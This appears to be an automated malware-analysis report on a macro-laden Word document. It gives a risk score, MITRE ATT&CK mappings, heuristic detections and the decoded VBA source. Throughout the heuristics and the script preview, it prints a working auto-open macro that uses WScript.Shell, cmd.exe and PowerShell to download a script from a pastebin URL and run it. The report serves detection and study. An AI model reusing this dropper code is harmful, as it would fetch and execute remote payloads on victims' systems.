MALICIOUS
566
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.001 PowerShell
T1059.003 Windows Command Shell
T1105 Ingress Tool Transfer
T1566.001 Spearphishing Attachment
The sample contains VBA macros that leverage WScript.Shell to execute a command. This command uses cmd.exe to run PowerShell, which downloads and executes a script from the URL https://pastebin.com/raw/tbKnbBzv. This indicates a downloader functionality, likely delivered via spearphishing.
Heuristics 17
-
ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
-
VBA macros detected medium 8 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Sub Lwkbj12() Set oShell = CreateObject("Wscript.Shell") oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x") -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
Set oShell = CreateObject("Wscript.Shell") oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x") End Sub -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Sub Lwkbj12() Set oShell = CreateObject("Wscript.Shell") oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x") -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
Set oShell = CreateObject("Wscript.Shell") oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x") End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() Lwkbj12 -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LUREDocument tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
-
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- https://pastebin.com/raw/tbKnbBzvIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 683 bytes |
SHA-256: e8992d3dae039a5ef9284dbe48edb5074acfa7b91814ea9f8bf9a9f3ef0ec89e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub Auto_Open()
Lwkbj12
End Sub
Sub Lwkbj12()
Set oShell = CreateObject("Wscript.Shell")
oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x")
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.